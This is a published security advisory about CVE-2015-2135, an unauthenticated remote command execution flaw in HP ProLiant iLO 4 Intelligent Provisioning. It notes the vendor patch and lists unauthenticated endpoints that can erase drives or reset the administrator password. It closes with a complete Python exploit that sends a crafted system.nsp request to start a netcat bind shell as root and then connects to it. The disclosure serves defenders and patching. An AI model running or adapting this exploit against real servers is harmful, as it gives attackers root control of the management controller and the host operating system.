SSD Advisory – Remote Command Execution in Proliant iLO Intelligent Provisioning
iLO is an embedded operating system available within HP Proliant and Integrity servers. IP is a feature within iLO that provides local and remote access for provisioning purposes. It was discovered that hidden requests were being made to server during a normal client session. Exploring this obfuscated functionality revealed the ability to execute arbitrary commands as root on the system.
Integrated Lights-Out 4 (latest firmware v2.00) with Intelligence Provisioning v1.60
Administrators can use the Remote Console from the iLO web interface to initiate Intelligent Provisioning. Working in this mode is common for new deployments as it provides many facilities for configuration, diagnostics and most importantly system updates. There are Apache webservers listening on both ports 80 and 2381. There is also an Nginx server listening on port 5008. There is no authentication to access the content at any of these portals; the system replies upon obfuscation techniques to mask implementation from the frontend. For example, if you remotely hit /hpdiags/frontend2/startup.php on port 2381, you can access the server’s diagnostic page. Or /confirmerase.htm on port 5008, you can erase “All Hard Drives”, RBSU and logs. /locfg.htm allows you to change the Administrator password.
During a Burp Proxy session with the Proliant server browsing the Nginx web portal, a more interesting discovery was made:
A web client, surfing the portal as normal, was being forced by the server to make requests to debug.nsp and system.nsp in order to run executables and issue operating system commands. After recognizing the structure and how to change it, we can see that we’re able to execute arbitrary commands with root privileges on the system.
Furthermore, the netcat utility comes pre-installed, so we’re now easily able to get a remote root shell.
As a bonus, not only does this allow you to compromise the iLO system, the Proliant primary OS (Windows or Linux) is also mounted as a USB device during this time. This allows for full OS compromise.
df -h | grep usb /dev/sda1 350M 257M 94M 74% /media/usb-sda1 /dev/sda2 932G 39G 893G 5% /media/usb-sda2 ls /media/usb* /media/usb-sda1: BOOTNXT BOOTSECT.BAK Boot Recovery System Volume Information bootmgr /media/usb-sda2: $Recycle.Bin BOOTNXT DFSRoots Documents and Settings Program Files Program Files (x86) ProgramData ServerFolders System Volume Information Users Windows [...]
HP has issued a patch for this vulnerability, it is available for download via: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c04756070
A single CVE entry has been assigned for this vulnerability CVE-2015-2135
A python3 script (proliant_ilo_ip.py) has been created that can be used to demonstrate these vulnerabilities. In particular, it sends a request to system.nsp on port 5008 asking netcat to listen for connections and drop into a root shell.
#!/usr/bin/python # proliant_ilo_ip.py # import sys import os import time from httplib2 import Http nc_bin_lin = "/usr/bin/nc" nc_bin_win = "C:\\Program Files (x86)\\Nmap\\ncat.exe" port = 5008 shell_port = 5555 magic = "/system.nsp?Command=Run&Executable=bash&Arguments=-c%20" magic += "\"nc%20-l%20-p%20" magic += str(shell_port) + "%20-e%20" magic += "/bin/bash\"" def main(): if(len(sys.argv) < 2): print("Usage: %s <target>\n" % sys.argv) return target = sys.argv request = "http://" + target + ":" + str(port) + magic try: print("\nAsking %s for a shell...\n" % target) #print("--> %s\n" % request) web = Http(timeout=5) response = web.request(request) except Exception as error: print("%s - re-run the exploit as sometimes the first request doesn't work" % error) return time.sleep(3) if((os.name == "posix") & (os.path.isfile(nc_bin_lin))): os.system("\"%s\" %s %d -v" % (nc_bin_lin, target, shell_port)) if((os.name == "nt") & (os.path.isfile(nc_bin_win))): os.system("\"%s\" %s %d -v" % (nc_bin_win, target, shell_port)) else: print("Use netcat to connect to %s on port %d for the root shell!\n" % (target, shell_port)) return if __name__ == "__main__": main()